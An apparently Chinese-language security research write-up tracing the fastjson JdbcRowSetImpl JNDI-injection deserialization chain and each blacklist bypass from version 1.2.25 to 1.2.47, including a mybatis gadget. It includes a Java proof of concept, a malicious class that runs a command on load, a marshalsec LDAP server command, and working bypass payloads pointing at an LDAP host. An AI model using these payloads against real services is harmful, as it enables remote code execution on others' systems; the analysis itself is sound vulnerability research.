0x01 前言
JdbcRowSetImpl
链与TemplatesImpl
链不同,该链实用性更强,其可在以下fastjson
写法中适用。
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
JdbcRowSetImpl实际通过JNDI注入达到命令执行的效果,所以对于jdk版本有具体的限制。
0x02 利用链分析
poc如下:
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
将恶意类代码编译为class文件并放在web服务中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
使用marshalsec工具启用LDAP服务端java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1389
运行poc
需要注意一点的是,使用javac
编译Exploit
代码的时候jdk
版本尽可能的低一些,否则可能会出现生成的Exploit
无法在目标主机jdk
环境中运行。
fastjson在反序列化过程中会调用setDataSourceName
方法和setAutoCommit
方法。
调用setDataSourceName
设置dataSourceName
。
调用setAutoCommit
方法,跟进this.connect
方法。InitialContext.lookup(dataSource)
,实现JNDI注入
利用链:
JdbcRowSetImpl.setDataSourceName()
JdbcRowSetImpl.setAutoCommit()
-> JdbcRowSetImpl.connect()
-> InitialContext.lookup(dataSource)
0x03 修复绕过
在1.2.25
版本之后,autotype默认是受限的,这个受限并不是禁止autotype这个功能,而是增加了白名单设置,并且在fastjson内部增加了黑名单设置。见https://github.com/alibaba/fastjson/wiki/enable_autotype
开启autotype有两种方式。
一是在JVM中增加参数:-Dfastjson.parser.autoTypeSupport=true
一是在代码中增加:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1.2.25补丁绕过
利用条件:1.2.25-1.2.41
、enable_autotype
payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}
1.2.25版本后在如下代码处增加了过滤,checkAutoType
对@type
参数进行检查。
该方法具体是对参数进行黑白名单判断,下图是开启autotype后,先进行白名单再进行黑名单判断,白名单默认为空。
在关闭autotype支持的情况下,先进行黑名单判断再进行白名单判断。
查看黑名单,可以看到com.sun被过滤了。
而payload中的绕过只是在参数前后加了个L
和;
就可以绕过了,为什么呢?
在黑名单检测时,由于我们传入的参数是Lcom
开头的,所以绕过了黑名单。
接着走到loadClass方法对类进行加载。
该类在加载中存在一个判断,如果开头为L
结尾为;
则截取中间的字串,然后再加载类,这就顺利绕过了黑名单。
1.2.42补丁绕过
利用条件:1.2.25-1.2.42
、enable_autotype
payload:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}
在1.2.42
版本中,明文黑名单改为HASH值,checkcheckAutoType
方法添加L
和;
字符过滤。
在checkAutoType中语句变得更加晦涩了,红色字段则是识别字符串头尾是否是L
和;
。如果是则掐头去尾。直接简单的双写即可绕过。
1.2.43补丁绕过
利用条件:1.2.25-1.2.43
、enable_autotype
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}
1.2.43对LL进行了过滤,所以用[
进行绕过。
至于为什么要在后面加[{
则是根据报错来加的,但对于具体细节不太清楚。
1.2.44补丁修复(JdbcRowSetImpl的终结)
1.2.44中对[
进行了过滤,后续就没有直接通过@type
字段指定JdbcRowSetImpl
类的绕过了,可以说JdbcRowSetImpl
链告一段落。
1.2.25-1.2.45 mybatis绕过
利用条件:1.2.25-1.2.45
、enable_autotype
、mybatis 3.0.0-3.5.0
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Evil"}}
maven依赖:
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-core</artifactId>
<version>3.0</version>
</dependency>
如果mybatis
版本符合要求,则可以使用JndiDataSourceFactory
绕过黑名单。
调用JndiDataSourceFactory
的setProperties
方法触发JNDI注入。
1.2.46添加该链到黑名单。
1.2.25-1.2.47补丁绕过
利用条件:
1.2.25-1.2.32
、disable_autotype
1.2.33-1.2.47
、enable_autotype/disable_autotype
payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Evil",
"autoCommit":true
}
}
1.2.47开启autotype
首先是提取到a
下的@type
的java.lang.Class
字段并进行黑白名单检查。
获取到java.lang.Class
对象
跟进deserialze
方法,反序列化其它字段
获取到val
字段的值com.sun.rowset.JdbcRowSetImpl
加载com.sun.rowset.JdbcRowSetImpl
类对象
跟进loadClass
函数,加载该类,并判断cache
是否开启,默认cache
是开启的,将该clazz
类对象添加到mappings
中。1.2.48
后缓存默认关闭。
接下来是解析b
字段@type
部分。
接着对com.sun.rowset.JdbcRowSetImpl
字符串进行白黑名单检查,需要注意的是黑名单判断条件中的TypeUtils.getClassFromMapping(typeName) == null
字段,即使hash
黑名单匹配成功也不会抛出异常,这就绕过了黑名单。而在1.2.32及之前,不存在该字段,所以开启autotype
后反而不能绕过黑名单。
1.2.47禁用autotype
禁用autotype
后则不会再进行黑白名单判断,直接从Mapping
中获取com.sun.rowset.JdbcRowSetImpl
类对象。其它与开启autotype一致。
0x04 总结
看了主要版本的分析,更高版本和更多利用方式查看此处:https://github.com/safe6Sec/Fastjson。